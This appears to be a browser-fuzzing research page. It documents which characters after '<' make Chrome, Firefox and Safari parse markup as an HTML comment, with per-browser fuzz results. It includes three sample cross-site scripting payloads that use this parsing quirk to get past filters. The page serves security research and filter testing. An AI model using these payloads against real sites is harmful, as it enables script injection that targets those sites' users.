Characters that can start an HTML comment

Chrome logo 3
Firefox logo 3
Safari logo 3

This vector shows which characters can be used after the "<" character and act as an HTML comment

Created by: 0x999-x

Created on: Thursday, July 18, 2024 at 4:54:28 PM

Updated on: Friday, October 18, 2024 at 2:22:08 AM

Vector type: HTML

Template used:
<$[chr] <a/b="--><found>"
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<! <a/b="--><img/src/onerror=alert(1)>"
</ <a/b="--><img/src/onerror=alert(1)>"
<? <a/b="--><img/src/onerror=alert(1)>"

Fuzz results

Chrome logo
Chrome 126.0.0.0 desktop Windows NT 10.0

Updated

Thu Jul 18 2024
Found 3 results
DecHexChr
3321!
DecHexChr
472f/
DecHexChr
633f?
Chrome logo
Chrome 127.0.0.0 desktop macOS 10.15.7

Updated

Tue Aug 20 2024
Found 3 results
DecHexChr
3321!
DecHexChr
472f/
DecHexChr
633f?
Firefox logo
Firefox 129.0 desktop macOS 10.15

Updated

Tue Aug 20 2024
Found 3 results
DecHexChr
3321!
DecHexChr
472f/
DecHexChr
633f?
Safari logo
Safari 17.6 mobile iOS 17.6.1

Updated

Tue Aug 20 2024
Found 3 results
DecHexChr
3321!
DecHexChr
472f/
DecHexChr
633f?